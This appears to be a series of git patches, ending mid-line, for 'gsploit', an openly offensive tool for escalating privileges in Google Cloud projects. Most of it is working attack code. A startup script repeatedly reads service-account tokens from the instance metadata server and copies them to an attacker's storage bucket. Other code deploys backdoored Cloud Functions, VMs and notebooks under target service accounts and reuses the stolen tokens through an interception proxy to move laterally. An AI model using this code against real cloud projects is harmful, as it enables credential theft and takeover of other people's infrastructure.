From 096be23f10b50d17310528dc2d4b4ab965a8137e Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Wed, 9 Sep 2020 20:40:06 -0400 Subject: [PATCH 01/10] vm support --- .gitignore | 1 + README.md | 2 +- base_vm_instance/main.py | 57 ++++++++++++++++++++ base_vm_instance/startup.sh | 11 ++++ main.py | 102 ++++++++++++++++++++++++++++-------- models.py | 33 +++++++++--- requirements.txt | 1 + 7 files changed, 178 insertions(+), 29 deletions(-) create mode 100644 .gitignore create mode 100644 base_vm_instance/main.py create mode 100644 base_vm_instance/startup.sh diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7943d1a --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/db/db.sql diff --git a/README.md b/README.md index 2831517..4f7dfe3 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ These include: actAs dataproc + actAs with VM's instead of GCF As of this moment, we don't have the following exploits implmented yet: @@ -39,7 +40,6 @@ As of this moment, we don't have the following exploits implmented yet: google managed service account privesc (ie cloudbuild) datafusion cloudbuild - actAs with VM's instead of GCF To use the tool, docker is required. diff --git a/base_vm_instance/main.py b/base_vm_instance/main.py new file mode 100644 index 0000000..0fad20c --- /dev/null +++ b/base_vm_instance/main.py @@ -0,0 +1,57 @@ +import subprocess +import random +import io +import string +import json +import os +from urllib.request import Request, urlopen +from base64 import b64decode, b64encode + +def run_gcloud_command_local(command, gsutil=False): + trigger = "gcloud" + if gsutil: + trigger = "gsutil" + + if command.split(" ")[0] != trigger: + command = trigger + " " + command + print("Running command:") + print(command) + try: + cmd_output = subprocess.check_output(command.split(" "), stderr=subprocess.STDOUT) + return cmd_output.decode("utf-8").rstrip() + except subprocess.CalledProcessError as E: + print("error code", E, E.output) + return False + +def run_os_command_local(command): + return os.system(command) + +def random_name(stringLength=8): + letters = string.ascii_lowercase + return ''.join(random.choice(letters) for i in range(stringLength)) + +def create_vm_in_another_project(dest_project, dest_sa, instance_props, bucket_name): + run_gcloud_command_local("gcloud config set project {}".format(dest_project)) + + # Replace YOURBUCKETNAMEHERE with bucket_name + with open("./base_vm_instance/startup.sh", "r") as file: + filedata = file.read() + filedata = filedata.replace("YOURBUCKETNAMEHERE", bucket_name) + with open("./base_vm_instance/startup.sh", "w") as file: + file.write(filedata) + + run_gcloud_command_local("gsutil cp ./base_vm_instance/startup.sh gs://{}".format(bucket_name), gsutil=True) + run_gcloud_command_local("gcloud services enable services.googleapis.com") + + # push via a startup script into a user-provided GCS bucket. Ask user to give access to the bucket first. + succeeded = run_gcloud_command_local("gcloud compute instances create {} --service-account {} --scopes=cloud-platform --zone=us-central1-a --image-family ubuntu-2004-lts --image-project ubuntu-os-cloud --metadata startup-script-url=gs://{}/startup.sh".format(instance_props["name"], dest_sa, bucket_name)) + print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded)) + if not succeeded and succeeded != "0" and succeeded != 0: + print("gcp vm provisioning failed") + return False + return instance_props + +if __name__ == "__main__": + module = __import__(__name__) + with open(module.__file__) as f: + current_cf = f.read() diff --git a/base_vm_instance/startup.sh b/base_vm_instance/startup.sh new file mode 100644 index 0000000..0a3502c --- /dev/null +++ b/base_vm_instance/startup.sh @@ -0,0 +1,11 @@ +#!/bin/bash +while true +do + email=`curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email` + curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -o /tmp/$email + gsutil cp /tmp/$email gs://YOURBUCKETNAMEHERE + curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com -o /tmp/$email-identity + gsutil cp /tmp/$email-identity gs://YOURBUCKETNAMEHERE + rm /tmp/$email + sleep 60 +done diff --git a/main.py b/main.py index a613c1c..393969b 100644 --- a/main.py +++ b/main.py @@ -13,6 +13,7 @@ import json import argparse from base_cloud_function import main as base_cf +from base_vm_instance import main as base_vm engine = create_engine('sqlite:///db/db.sql') models.init_db(engine) @@ -22,10 +23,11 @@ db_session = Session() -def list_functions(): - functions = db_session.query(models.CloudFunction).all() - for function in functions: - print(function) +def list_objects(): + cloud_objects = db_session.query(models.CloudObject).all() + for cloud_object in cloud_objects: + print(cloud_object) + def deploy_cf(project, source=None, target=None, role="unknown"): with open("./base_cloud_function/main.py") as f: @@ -44,8 +46,8 @@ def deploy_cf(project, source=None, target=None, role="unknown"): return False creator_email = "" else: - source = db_session.query(models.CloudFunction).filter_by(name=source).first() - source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc) + source = db_session.query(models.CloudObject).filter_by(name=source).first() + source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) @@ -56,12 +58,51 @@ def deploy_cf(project, source=None, target=None, role="unknown"): print("Failed to provision CF") return False creator_email = source.serviceAccount - fun_cloud_function = models.CloudFunction(project=project, role=role, serviceAccount=target, evilPassword=function_props["evil_password"], name=function_props["name"], cred="", creator_identity=caller_identity, creator_email=creator_email, infastructure="cloud_function", identity="") + fun_cloud_function = models.CloudObject(project=project, role=role, serviceAccount=target, evilPassword=function_props["evil_password"], name=function_props["name"], cred="", creator_identity=caller_identity, creator_email=creator_email, infastructure="cloud_function", identity="") db_session.add(fun_cloud_function) db_session.commit() print("successfully privesced the {} identitiy".format(target)) return fun_cloud_function + +def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): + # Create instance in default network + # SSH commands via vm for lateral movementa + # cron job pulls token every minute and pushes up + base_cf.run_gcloud_command_local("gcloud config set project {}".format(project)) + instance_props = {"name": base_cf.random_name()} + + if not target: + target = "{}@appspot.gserviceaccount.com".format(project) + role = "editor" + if not source: + base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + caller_identity = base_cf.run_gcloud_command_local("gcloud auth print-identity-token") + success = base_vm.create_vm_in_another_project(project, target, instance_props, bucket) + if not success or success == "False": + print("Failed to provision VM") + return False + creator_email = "" + else: + source = db_session.query(models.CloudObject).filter_by(name=source).first() + source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + caller_identity = source.identity + token = source.cred + proc = activate_sketch_proxy(token) + base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + success = base_vm.create_vm_in_another_project(project, target, instance_props, bucket) + deactivate_sketch_proxy(proc) + if not success or success == "False": + print("Failed to provision VM") + return False + creator_email = source.serviceAccount + fun_compute_instance = models.CloudObject(project=project, role=role, serviceAccount=target, evilPassword="", name=instance_props["name"], cred="", creator_identity=caller_identity, creator_email=creator_email, infastructure="compute_instance", identity="") + db_session.add(fun_compute_instance) + db_session.commit() + print("successfully privesced the {} identitiy".format(target)) + return fun_compute_instance + + def dataproc(source_name=None, project=None, refresh=False): cluster_name = base_cf.random_name() if not source_name: @@ -71,7 +112,7 @@ def dataproc(source_name=None, project=None, refresh=False): raw_output = base_cf.run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} dataproc_job.py --region us-central1".format(cluster_name)) base_cf.run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name)) else: - source = db_session.query(models.CloudFunction).filter_by(name=source_name).first() + source = db_session.query(models.CloudObject).filter_by(name=source_name).first() caller_identity = source.identity creator_email = source.serviceAccount run_cmd_on_source(source_name, "gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform".format(cluster_name), project) @@ -82,7 +123,7 @@ def dataproc(source_name=None, project=None, refresh=False): if "access_token" in line: token = json.loads(line) if not refresh: - fun_cloud_function = models.CloudFunction(project=project, role="editor", serviceAccount=token["service_account"], evilPassword="na", name=cluster_name, cred=token["access_token"], creator_identity=caller_identity, creator_email=creator_email, infastructure="dataproc", identity=token["identity"]) + fun_cloud_function = models.CloudObject(project=project, role="editor", serviceAccount=token["service_account"], evilPassword="na", name=cluster_name, cred=token["access_token"], creator_identity=caller_identity, creator_email=creator_email, infastructure="dataproc", identity=token["identity"]) db_session.add(fun_cloud_function) db_session.commit() return fun_cloud_function @@ -92,9 +133,10 @@ def dataproc(source_name=None, project=None, refresh=False): db_session.commit() return refresh + def activate_sketch_proxy(token): with open(os.devnull, 'w') as fp: - proxy_proc = subprocess.Popen("python proxy.py {}".format(token), shell = True, stdout=fp) + proxy_proc = subprocess.Popen("python3 proxy.py {}".format(token), shell = True, stdout=fp) time.sleep(3) base_cf.run_gcloud_command_local("gcloud config set proxy/type http") base_cf.run_gcloud_command_local("gcloud config set proxy/address 127.0.0.1") @@ -112,24 +154,24 @@ def deactivate_sketch_proxy(proxy_proc): base_cf.run_gcloud_command_local("gcloud config unset core/custom_ca_certs_file") -def run_cmd_on_source(name, cmd, project=None): +def run_cmd_on_source(name, cmd, project=None, bucket=None): if cmd.startswith("gcloud"): cmd = cmd else: cmd = "gcloud " + cmd if project: cmd += " --project {}".format(project) - source = db_session.query(models.CloudFunction).filter_by(name=name).first() - source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc) + source = db_session.query(models.CloudObject).filter_by(name=name).first() + source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) token = source.cred proxy_thread = activate_sketch_proxy(token) result = base_cf.run_gcloud_command_local(cmd) + print(result) deactivate_sketch_proxy(proxy_thread) return result def main(): - parser = argparse.ArgumentParser(description='gsploit, tools to exploit GCP services') parser.add_argument('--source_cf', dest="source", help='The source you want to run the command or exploit from') @@ -143,11 +185,15 @@ def main(): help='lists all compromised identities') parser.add_argument('--exploit', dest='exploit', help='the name of the exploit you want to run on the given target, e.g. actAs all') + parser.add_argument('--actAsMethod', default='cf', dest='actasmethod', + help='what actAs vector you would like to use.') + parser.add_argument('--bucket', dest='bucket', + help='bucket for GCPloit credential storage.') args = parser.parse_args() if args.list: - list_functions() + list_objects() sys.exit() elif args.gcloud_cmd: if not args.source: @@ -155,7 +201,7 @@ def main(): return_output = base_cf.run_gcloud_command_local(args.gcloud_cmd) print(return_output) else: - return_output = run_cmd_on_source(args.source, args.gcloud_cmd, args.project) + return_output = run_cmd_on_source(args.source, args.gcloud_cmd, project=args.project, bucket=args.bucket) print(return_output) elif args.exploit: if not args.project: @@ -163,19 +209,33 @@ def main(): sys.exit() exploit_cmd = args.exploit if exploit_cmd == "actas": + if args.actasmethod =="vm" and not args.bucket: + print("What bucket do you want to store credentials into?") + print("set --bucket ") + print("Make sure your instance has write access to the bucket URL.") + sys.exit() + if args.target == "all": if not args.source: service_accounts = base_cf.run_gcloud_command_local("gcloud iam service-accounts list --format json --project {}".format(args.project)) else: - service_accounts = run_cmd_on_source(args.source, "gcloud iam service-accounts list --format json --project {}".format(args.project)) + service_accounts = run_cmd_on_source(args.source, "gcloud iam service-accounts list --format json --project {}".format(args.project), bucket=args.bucket) for service_account in json.loads(service_accounts): - new_cf = deploy_cf(args.project, args.source, service_account["email"]) + if args.actasmethod == "cf": + new_object = deploy_cf(args.project, args.source, service_account["email"]) + if args.actasmethod == "vm": + new_object = deploy_vm(args.project, args.source, service_account["email"], args.bucket) print("~~~~~~~Got New Identity~~~~~~~~") - print(new_cf) + print(new_object) else: - new_cf = deploy_cf(args.project, args.source, args.target) + if args.actasmethod == "cf": + new_object = deploy_cf(args.project, args.source, args.target) + if args.actasmethod == "vm": + new_object = deploy_vm(args.project, args.source, args.target, args.bucket) print("~~~~~~~Got New Identity~~~~~~~~") - print(new_cf) + print(new_object) + elif exploit_cmd == "computeadmin": + pass elif exploit_cmd == "dataproc": identity = dataproc(args.source, args.project) diff --git a/models.py b/models.py index f239ea3..e68e512 100644 --- a/models.py +++ b/models.py @@ -1,10 +1,12 @@ -from sqlalchemy import Column, Integer, String import urllib import json + +from google.cloud import storage +from sqlalchemy import Column, Integer, String from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() -class CloudFunction(Base): +class CloudObject(Base): __tablename__ = 'cloudfunctions' id = Column(Integer, primary_key=True) @@ -19,13 +21,16 @@ class CloudFunction(Base): creator_email = Column(String) infastructure = Column(String) + client = storage.Client() + def __repr__(self): return "name='%s', role='%s', serviceAccount='%s', project='%s', password='%s'" % ( self.name, self.role, self.serviceAccount, self.project, self.evilPassword) - def refresh_cred(self, db_session, run_local, dataproc=None): + + def refresh_cred(self, db_session, run_local, dataproc=None, bucket_name=None): + print(self.serviceAccount) + print("refreshing cred") if self.infastructure == "cloud_function": - print(self.serviceAccount) - print("refreshing cred") password = self.evilPassword function_url = "https://us-central1-{}.cloudfunctions.net/{}".format(self.project, self.name) body = {"password": password, "get_token": True} @@ -47,7 +52,7 @@ def refresh_cred(self, db_session, run_local, dataproc=None): except urllib.error.HTTPError: print("refreshing parent") if self.creator_email: - self.creator_identity = db_session.query(CloudFunction).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local) + self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local) else: self.creator_identity = run_local("gcloud auth print-identity-token") return self.refresh_cred(db_session, run_local) @@ -55,8 +60,22 @@ def refresh_cred(self, db_session, run_local, dataproc=None): if not self.creator_email: dataproc(project=self.project, refresh=self) else: - creator = db_session.query(CloudFunction).filter_by(serviceAccount=self.creator_email).first() + creator = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first() return dataproc(source_name=creator.name, project=self.project, refresh=self) + elif self.infastructure == "compute_instance": + # Pull credentials from GCS + blob = self.client.bucket(bucket_name).blob(self.serviceAccount).download_to_filename("/tmp/gcploit_temporary_credentials") + self.cred = open("/tmp/gcploit_temporary_credentials").read() + + self.cred = json.loads(self.cred)["access_token"] + + blob = self.client.bucket(bucket_name).blob("{}-identity".format(self.serviceAccount)).download_to_filename("/tmp/gcploit_temporary_credentials") + self.identity= open("/tmp/gcploit_temporary_credentials").read() + + if self.creator_email: + self.creator_identity = db_session.query(CloudObject).filter_by(serviceAccount=self.creator_email).first().refresh_cred(db_session, run_local) + else: + self.creator_identity = run_local("gcloud auth print-identity-token") def init_db(engine): diff --git a/requirements.txt b/requirements.txt index 645142a..24ff552 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ +google-cloud-storage==1.31.0 sqlalchemy==1.3.17 mitmproxy==5.1.1 From d1709155c4b8b4f471346c22a89ec300ff1e3011 Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Wed, 16 Sep 2020 22:08:09 -0400 Subject: [PATCH 02/10] bucket write warning --- main.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/main.py b/main.py index 393969b..0bc9f32 100644 --- a/main.py +++ b/main.py @@ -209,6 +209,9 @@ def main(): sys.exit() exploit_cmd = args.exploit if exploit_cmd == "actas": + if args.bucket: + print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch allUsers:objectCreator gs://{}".format(args.bucket)) + if args.actasmethod =="vm" and not args.bucket: print("What bucket do you want to store credentials into?") print("set --bucket ") From 87ba099db7c2c43931354ecc205a828b49667a96 Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Wed, 16 Sep 2020 22:56:01 -0400 Subject: [PATCH 03/10] make SA name abstract --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index 0bc9f32..e5ab5ce 100644 --- a/main.py +++ b/main.py @@ -210,7 +210,7 @@ def main(): exploit_cmd = args.exploit if exploit_cmd == "actas": if args.bucket: - print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch allUsers:objectCreator gs://{}".format(args.bucket)) + print("MAKE SURE YOU GIVE ALL USERS *WRITE* ACCESS TO YOUR BUCKET WITH gsutil iam ch :objectCreator gs://{}".format(args.bucket)) if args.actasmethod =="vm" and not args.bucket: print("What bucket do you want to store credentials into?") From 999e136e3f8a114b4a2ac76f9ebb1c237da1990c Mon Sep 17 00:00:00 2001 From: Andy Gu Date: Sun, 20 Sep 2020 11:32:45 -0400 Subject: [PATCH 04/10] support notebooks.create escalation --- base_cloud_function/main.py | 35 +++-------- base_vm_instance/main.py | 37 ++---------- base_vm_instance/startup.sh | 11 ---- main.py | 115 +++++++++++++++++++++++++----------- models.py | 2 +- 5 files changed, 95 insertions(+), 105 deletions(-) delete mode 100644 base_vm_instance/startup.sh diff --git a/base_cloud_function/main.py b/base_cloud_function/main.py index a84c8a9..05f6f72 100644 --- a/base_cloud_function/main.py +++ b/base_cloud_function/main.py @@ -7,20 +7,7 @@ from urllib.request import Request, urlopen from base64 import b64decode, b64encode -def run_gcloud_command_local(command): - if command.split(" ")[0] != "gcloud": - command = "gcloud " + command - print("Running command:") - print(command) - try: - cmd_output = subprocess.check_output(command.split(" "), stderr=subprocess.STDOUT) - return cmd_output.decode("utf-8").rstrip() - except subprocess.CalledProcessError as E: - print("error code", E, E.output) - return False - -def run_os_command_local(command): - return os.system(command) +from utils import utils def drop_cf(latest_cf): if not os.path.exists("/tmp/base_cloud_function"): @@ -28,14 +15,10 @@ def drop_cf(latest_cf): with open("/tmp/base_cloud_function/main.py", "w+") as f: f.write(latest_cf) -def random_name(stringLength=8): - letters = string.ascii_lowercase - return ''.join(random.choice(letters) for i in range(stringLength)) - def dataproc_privesc(dest_proj, latest_cf, func_details): - cluster_name = random_name() - run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform --metadata cf_name={},evilpassword={}".format(cluster_name, func_details["name"], func_details["evil_password"])) + cluster_name = utils.random_name() + utils.run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform --metadata cf_name={},evilpassword={}".format(cluster_name, func_details["name"], func_details["evil_password"])) spark_string = "import subprocess\n\nimport os\n\nos.system(\"mkdir /tmp/base_cloud_function && echo \\\"" spark_string += b64encode(latest_cf.encode("utf-8")).decode("utf-8") @@ -57,15 +40,15 @@ def dataproc_privesc(dest_proj, latest_cf, func_details): print(spark_string) with open("/tmp/sparkjob.py", "w+") as f: f.write(spark_string) - run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} /tmp/sparkjob.py --region us-central1".format(cluster_name)) - run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name)) + utils.run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} /tmp/sparkjob.py --region us-central1".format(cluster_name)) + utils.run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name)) def create_gcf_in_another_project(dest_project, dest_sa, latest_cf, function_props): drop_cf(latest_cf) - run_gcloud_command_local("gcloud config set project {}".format(dest_project)) - run_gcloud_command_local("gcloud services enable cloudfunctions.googleapis.com") - succeeded = run_gcloud_command_local("gcloud functions deploy {} --set-env-vars=EVIL_PASSWORD={} --timeout 539 --trigger-http --allow-unauthenticated --source /tmp/base_cloud_function --runtime python37 --entry-point hello_world --service-account {}".format(function_props["name"], function_props["evil_password"], dest_sa)) + utils.run_gcloud_command_local("gcloud config set project {}".format(dest_project)) + utils.run_gcloud_command_local("gcloud services enable cloudfunctions.googleapis.com") + succeeded = utils.run_gcloud_command_local("gcloud functions deploy {} --set-env-vars=EVIL_PASSWORD={} --timeout 539 --trigger-http --allow-unauthenticated --source /tmp/base_cloud_function --runtime python37 --entry-point hello_world --service-account {}".format(function_props["name"], function_props["evil_password"], dest_sa)) print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded)) if not succeeded and succeeded != "0" and succeeded != 0: print("gcf provisioning failed") @@ -73,8 +56,6 @@ def create_gcf_in_another_project(dest_project, dest_sa, latest_cf, function_pro return function_props - - def hello_world(request): """Responds to any HTTP request. Args: diff --git a/base_vm_instance/main.py b/base_vm_instance/main.py index 0fad20c..372361e 100644 --- a/base_vm_instance/main.py +++ b/base_vm_instance/main.py @@ -7,44 +7,15 @@ from urllib.request import Request, urlopen from base64 import b64decode, b64encode -def run_gcloud_command_local(command, gsutil=False): - trigger = "gcloud" - if gsutil: - trigger = "gsutil" - - if command.split(" ")[0] != trigger: - command = trigger + " " + command - print("Running command:") - print(command) - try: - cmd_output = subprocess.check_output(command.split(" "), stderr=subprocess.STDOUT) - return cmd_output.decode("utf-8").rstrip() - except subprocess.CalledProcessError as E: - print("error code", E, E.output) - return False - -def run_os_command_local(command): - return os.system(command) - -def random_name(stringLength=8): - letters = string.ascii_lowercase - return ''.join(random.choice(letters) for i in range(stringLength)) +from utils import utils def create_vm_in_another_project(dest_project, dest_sa, instance_props, bucket_name): - run_gcloud_command_local("gcloud config set project {}".format(dest_project)) - - # Replace YOURBUCKETNAMEHERE with bucket_name - with open("./base_vm_instance/startup.sh", "r") as file: - filedata = file.read() - filedata = filedata.replace("YOURBUCKETNAMEHERE", bucket_name) - with open("./base_vm_instance/startup.sh", "w") as file: - file.write(filedata) + utils.run_gcloud_command_local("gcloud config set project {}".format(dest_project)) - run_gcloud_command_local("gsutil cp ./base_vm_instance/startup.sh gs://{}".format(bucket_name), gsutil=True) - run_gcloud_command_local("gcloud services enable services.googleapis.com") + utils.push_startup_payload(bucket_name) # push via a startup script into a user-provided GCS bucket. Ask user to give access to the bucket first. - succeeded = run_gcloud_command_local("gcloud compute instances create {} --service-account {} --scopes=cloud-platform --zone=us-central1-a --image-family ubuntu-2004-lts --image-project ubuntu-os-cloud --metadata startup-script-url=gs://{}/startup.sh".format(instance_props["name"], dest_sa, bucket_name)) + succeeded = utils.run_gcloud_command_local("gcloud compute instances create {} --service-account {} --scopes=cloud-platform --zone=us-central1-a --image-family ubuntu-2004-lts --image-project ubuntu-os-cloud --metadata startup-script-url=gs://{}/startup.sh".format(instance_props["name"], dest_sa, bucket_name)) print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded)) if not succeeded and succeeded != "0" and succeeded != 0: print("gcp vm provisioning failed") diff --git a/base_vm_instance/startup.sh b/base_vm_instance/startup.sh deleted file mode 100644 index 0a3502c..0000000 --- a/base_vm_instance/startup.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash -while true -do - email=`curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email` - curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -o /tmp/$email - gsutil cp /tmp/$email gs://YOURBUCKETNAMEHERE - curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=32555940559.apps.googleusercontent.com -o /tmp/$email-identity - gsutil cp /tmp/$email-identity gs://YOURBUCKETNAMEHERE - rm /tmp/$email - sleep 60 -done diff --git a/main.py b/main.py index e5ab5ce..ebd5ff0 100644 --- a/main.py +++ b/main.py @@ -1,4 +1,3 @@ -import sqlalchemy import signal import sys import time @@ -14,6 +13,8 @@ import argparse from base_cloud_function import main as base_cf from base_vm_instance import main as base_vm +from base_notebook_instance import main as base_notebook +from utils import utils engine = create_engine('sqlite:///db/db.sql') models.init_db(engine) @@ -32,14 +33,14 @@ def list_objects(): def deploy_cf(project, source=None, target=None, role="unknown"): with open("./base_cloud_function/main.py") as f: latest_cf = f.read() - base_cf.run_gcloud_command_local("gcloud config set project {}".format(project)) - function_props = {"name": base_cf.random_name(), "evil_password": base_cf.random_name()} + utils.run_gcloud_command_local("gcloud config set project {}".format(project)) + function_props = {"name": utils.random_name(), "evil_password": utils.random_name()} if not target: target = "{}@appspot.gserviceaccount.com".format(project) role = "editor" if not source: - base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") - caller_identity = base_cf.run_gcloud_command_local("gcloud auth print-identity-token") + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + caller_identity = utils.run_gcloud_command_local("gcloud auth print-identity-token") success = base_cf.create_gcf_in_another_project(project, target, latest_cf, function_props) if not success or success == "False": print("Failed to provision CF") @@ -47,11 +48,11 @@ def deploy_cf(project, source=None, target=None, role="unknown"): creator_email = "" else: source = db_session.query(models.CloudObject).filter_by(name=source).first() - source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) - base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") success = base_cf.create_gcf_in_another_project(project, target, latest_cf, function_props) deactivate_sketch_proxy(proc) if not success or success == "False": @@ -65,19 +66,58 @@ def deploy_cf(project, source=None, target=None, role="unknown"): return fun_cloud_function +def deploy_notebook(project, source=None, target=None, bucket=None, role="unknown"): + # Create instance via notebook notebooks in default network + # SSH commands via vm for lateral movementa + # cron job pulls token every minute and pushes up + utils.run_gcloud_command_local("gcloud config set project {}".format(project)) + instance_props = {"name": utils.random_name()} + + if not target: + target = "{}@appspot.gserviceaccount.com".format(project) + role = "editor" + if not source: + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + caller_identity = utils.run_gcloud_command_local("gcloud auth print-identity-token") + success = base_notebook.create_notebook_in_another_project(project, target, instance_props, bucket) + if not success or success == "False": + print("Failed to provision VM") + return False + creator_email = "" + else: + source = db_session.query(models.CloudObject).filter_by(name=source).first() + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + caller_identity = source.identity + token = source.cred + proc = activate_sketch_proxy(token) + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + success = base_notebook.create_notebook_in_another_project(project, target, instance_props, bucket) + deactivate_sketch_proxy(proc) + if not success or success == "False": + print("Failed to provision dataflow notebook VM") + return False + creator_email = source.serviceAccount + + fun_notebook_instance = models.CloudObject(project=project, role=role, serviceAccount=target, evilPassword="", name=instance_props["name"], cred="", creator_identity=caller_identity, creator_email=creator_email, infastructure="notebook", identity="") + db_session.add(fun_notebook_instance) + db_session.commit() + + print("successfully privesced the {} identitiy".format(target)) + return fun_notebook_instance + def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): # Create instance in default network # SSH commands via vm for lateral movementa # cron job pulls token every minute and pushes up - base_cf.run_gcloud_command_local("gcloud config set project {}".format(project)) - instance_props = {"name": base_cf.random_name()} + utils.run_gcloud_command_local("gcloud config set project {}".format(project)) + instance_props = {"name": utils.random_name()} if not target: target = "{}@appspot.gserviceaccount.com".format(project) role = "editor" if not source: - base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") - caller_identity = base_cf.run_gcloud_command_local("gcloud auth print-identity-token") + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + caller_identity = utils.run_gcloud_command_local("gcloud auth print-identity-token") success = base_vm.create_vm_in_another_project(project, target, instance_props, bucket) if not success or success == "False": print("Failed to provision VM") @@ -85,11 +125,11 @@ def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): creator_email = "" else: source = db_session.query(models.CloudObject).filter_by(name=source).first() - source.refresh_cred(db_session, base_cf.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) + source.refresh_cred(db_session, utils.run_gcloud_command_local, dataproc=dataproc, bucket_name=bucket) caller_identity = source.identity token = source.cred proc = activate_sketch_proxy(token) - base_cf.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") + utils.run_gcloud_command_local("gcloud services enable cloudresourcemanager.googleapis.com") success = base_vm.create_vm_in_another_project(project, target, instance_props, bucket) deactivate_sketch_proxy(proc) if not success or success == "False": @@ -104,13 +144,13 @@ def deploy_vm(project, source=None, target=None, bucket=None, role="unknown"): def dataproc(source_name=None, project=None, refresh=False): - cluster_name = base_cf.random_name() + cluster_name = utils.random_name() if not source_name: - caller_identity = base_cf.run_gcloud_command_local("gcloud auth print-identity-token") + caller_identity = utils.run_gcloud_command_local("gcloud auth print-identity-token") creator_email = "" - base_cf.run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform".format(cluster_name)) - raw_output = base_cf.run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} dataproc_job.py --region us-central1".format(cluster_name)) - base_cf.run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name)) + utils.run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform".format(cluster_name)) + raw_output = utils.run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} dataproc_job.py --region us-central1".format(cluster_name)) + utils.run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name)) else: source = db_session.query(models.CloudObject).filter_by(name=source_name).first() caller_identity = source.identity @@ -138,20 +178,20 @@ def activate_sketch_proxy(token): with open(os.devnull, 'w') as fp: proxy_proc = subprocess.Popen("python3 proxy.py {}".format(token), shell = True, stdout=fp) time.sleep(3) - base_cf.run_gcloud_command_local("gcloud config set proxy/type http") - base_cf.run_gcloud_command_local("gcloud config set proxy/address 127.0.0.1") - base_cf.run_gcloud_command_local("gcloud config set proxy/port 19283") - base_cf.run_gcloud_command_local("gcloud config set core/custom_ca_certs_file /root/.mitmproxy/mitmproxy-ca.pem") + utils.run_gcloud_command_local("gcloud config set proxy/type http") + utils.run_gcloud_command_local("gcloud config set proxy/address 127.0.0.1") + utils.run_gcloud_command_local("gcloud config set proxy/port 19283") + utils.run_gcloud_command_local("gcloud config set core/custom_ca_certs_file /root/.mitmproxy/mitmproxy-ca.pem") return proxy_proc def deactivate_sketch_proxy(proxy_proc): print("killing proxy") os.killpg(os.getpgid(proxy_proc.pid), 